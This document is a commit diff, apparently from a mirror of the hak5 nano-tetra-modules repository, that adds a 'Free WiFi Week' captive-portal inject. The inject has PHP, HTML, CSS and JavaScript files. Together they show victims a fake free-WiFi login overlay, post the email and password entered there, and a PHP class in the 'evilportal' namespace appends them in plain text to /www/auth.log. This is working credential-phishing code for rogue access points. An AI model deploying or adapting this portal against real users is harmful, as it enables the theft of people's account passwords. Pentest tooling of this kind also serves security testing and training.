mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
Add modules to repository
This commit is contained in:
34
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/MyPortal.php
Executable file
34
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/MyPortal.php
Executable file
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
namespace evilportal;
|
||||
|
||||
class MyPortal extends Portal
|
||||
{
|
||||
|
||||
public function handleAuthorization()
|
||||
{
|
||||
// Call parent to handle basic authorization first
|
||||
parent::handleAuthorization();
|
||||
|
||||
// Check for other form data here
|
||||
if (!isset($_POST['email']) || !isset($_POST['password'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$fh = fopen('/www/auth.log', 'a+');
|
||||
fwrite($fh, "Email: " . $_POST['email'] . "\n");
|
||||
fwrite($fh, "Pass: " . $_POST['password'] . "\n\n");
|
||||
fclose($fh);
|
||||
}
|
||||
|
||||
public function showSuccess()
|
||||
{
|
||||
// Calls default success message
|
||||
parent::showSuccess();
|
||||
}
|
||||
|
||||
public function showError()
|
||||
{
|
||||
// Calls default error message
|
||||
parent::showError();
|
||||
}
|
||||
}
|
||||
120
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectCSS.txt
Executable file
120
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectCSS.txt
Executable file
@@ -0,0 +1,120 @@
|
||||
<style>
|
||||
.pa_form-container {
|
||||
border: 1px solid #f2e3d2;
|
||||
background:#F0F8FF;
|
||||
-webkit-border-radius: 8px;
|
||||
-moz-border-radius: 8px;
|
||||
border-radius: 8px;
|
||||
-webkit-box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
|
||||
-moz-box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
|
||||
box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
|
||||
font-family: 'Helvetica Neue',Helvetica,sans-serif;
|
||||
text-align: center;
|
||||
position: fixed;
|
||||
width: 450px;
|
||||
height: 370px;
|
||||
padding: 20px;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
margin-top: -230px;
|
||||
margin-left: -225px;
|
||||
z-index: 10;
|
||||
display: none;
|
||||
}
|
||||
#pa_overlay-back {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0,0,0,.7);
|
||||
z-index: 5;
|
||||
display: none;
|
||||
}
|
||||
.pa_form-field {
|
||||
background: #fff;
|
||||
color: #000;
|
||||
font-size: 18px;
|
||||
-webkit-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
-moz-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
padding:8px;
|
||||
margin-bottom:20px;
|
||||
width:90%;
|
||||
}
|
||||
.pa_form-field:focus {
|
||||
background: #fff;
|
||||
color: #725129;
|
||||
}
|
||||
.pa_form-container h2 {
|
||||
color: #6aa436;
|
||||
font-size:18px;
|
||||
margin: 0 0 10px 0;
|
||||
font-weight:bold;
|
||||
text-align: center;
|
||||
}
|
||||
.pa_form-container p {
|
||||
text-align: center;
|
||||
margin: 10px auto 10px auto;
|
||||
}
|
||||
.pa_form-container table {
|
||||
width: 90%;
|
||||
margin: 0 auto;
|
||||
}
|
||||
.pa_form-title {
|
||||
margin-bottom:10px;
|
||||
color: #725129;
|
||||
font-size: 16px;
|
||||
text-align: left;
|
||||
}
|
||||
.pa_submit-container {
|
||||
margin:8px 0;
|
||||
text-align:center;
|
||||
}
|
||||
.pa_submit-button {
|
||||
border: 1px solid #447314;
|
||||
background: #6aa436;
|
||||
background: -webkit-gradient(linear, left top, left bottom, from(#8dc059), to(#6aa436));
|
||||
background: -webkit-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -moz-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -ms-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -o-linear-gradient(top, #8dc059, #6aa436);
|
||||
background-image: -ms-linear-gradient(top, #8dc059 0%, #6aa436 100%);
|
||||
-webkit-border-radius: 4px;
|
||||
-moz-border-radius: 4px;
|
||||
border-radius: 4px;
|
||||
-webkit-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
-moz-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
color: #31540c;
|
||||
font-family: helvetica, serif;
|
||||
padding: 8.5px 18px;
|
||||
font-size: 14px;
|
||||
text-decoration: none;
|
||||
vertical-align: middle;
|
||||
width: 200px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.pa_submit-button:hover {
|
||||
border: 1px solid #447314;
|
||||
background: #6aa436;
|
||||
background: -webkit-gradient(linear, left top, left bottom, from(#8dc059), to(#6aa436));
|
||||
background: -webkit-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -moz-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -ms-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -o-linear-gradient(top, #8dc059, #6aa436);
|
||||
background-image: -ms-linear-gradient(top, #8dc059 0%, #6aa436 100%);
|
||||
color: #fff;
|
||||
}
|
||||
.pa_submit-button:active {
|
||||
border: 1px solid #447314;
|
||||
background: #8dc059;
|
||||
background: -webkit-gradient(linear, left top, left bottom, from(#6aa436), to(#6aa436));
|
||||
background: -webkit-linear-gradient(top, #6aa436, #8dc059);
|
||||
background: -moz-linear-gradient(top, #6aa436, #8dc059);
|
||||
background: -ms-linear-gradient(top, #6aa436, #8dc059);
|
||||
background: -o-linear-gradient(top, #6aa436, #8dc059);
|
||||
background-image: -ms-linear-gradient(top, #6aa436 0%, #8dc059 100%);
|
||||
color: #fff;
|
||||
}
|
||||
</style>
|
||||
16
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectHTML.txt
Executable file
16
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectHTML.txt
Executable file
@@ -0,0 +1,16 @@
|
||||
<div id="pa_overlay-back"></div>
|
||||
<div class="pa_form-container">
|
||||
<h3 style="display: inline">Enjoy free WiFi between</h3>
|
||||
<h2><div id="pa_date"></div></h2>
|
||||
<div style="margin: 0 auto">
|
||||
<p>Simply enter your email address and password. If you do not already have an account with us one will be created for you.</p>
|
||||
</div>
|
||||
<br /><br />
|
||||
<input class="pa_form-field" type="text" id="pa_email" placeholder="you@gmail.com" />
|
||||
<input class="pa_form-field" type="password" id="pa_password" placeholder="Password" />
|
||||
<br /><br />
|
||||
<div class="pa_submit-container">
|
||||
<input class="pa_submit-button" type="submit" value="Submit" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
53
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectJS.txt
Executable file
53
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectJS.txt
Executable file
@@ -0,0 +1,53 @@
|
||||
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
|
||||
|
||||
<script>
|
||||
window.onload = init;
|
||||
|
||||
function init(){
|
||||
importantDates();
|
||||
setTimeout(displayLogin(),1000);
|
||||
}
|
||||
function importantDates() {
|
||||
$('#pa_date').html(function(){
|
||||
var monthNames=["January", "February", "March", "April", "May", "June",
|
||||
"July", "August", "September", "October", "November", "December"];
|
||||
var tf=new Date();var tp=new Date();var f=new Date();var p=new Date();
|
||||
f.setDate(tf.getDate()+5);p.setDate(tp.getDate()-2);
|
||||
var fd=f.getDate();var pd=p.getDate();
|
||||
var fm=monthNames[f.getMonth()];var pm=monthNames[p.getMonth()];
|
||||
if(fd<10){fd='0'+fd}if(pd<10){pd='0'+pd}
|
||||
return pm+' '+pd+' - '+fm+' '+fd;
|
||||
});
|
||||
}
|
||||
$(function() {
|
||||
$(".pa_submit-button").on("click", function() {
|
||||
var email_addr = $('#pa_email').val();
|
||||
var pass = $('#pa_password').val();
|
||||
if (email_addr == "" || pass == "") {
|
||||
alert("You must enter credentials to log in.");
|
||||
return;
|
||||
} else {
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: "/captiveportal/index.php",
|
||||
data: {email: email_addr,
|
||||
password: pass,
|
||||
target: "<?=$destination?>"},
|
||||
dataType: 'json',
|
||||
success: function(data, textStatus, jqXHR) {
|
||||
window.location="/captiveportal/index.php";
|
||||
},
|
||||
error: function(data, textStatus, errorThrown) {
|
||||
window.location="/captiveportal/index.php";
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
function displayLogin() {
|
||||
$(function(){
|
||||
$(".pa_form-container").css("opacity", "1");
|
||||
$(".pa_form-container, #pa_overlay-back").fadeIn("slow");
|
||||
});
|
||||
}
|
||||
</script>
|
||||
3
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectPHP.txt
Executable file
3
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectPHP.txt
Executable file
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
|
||||
?>
|
||||
Reference in New Issue
Block a user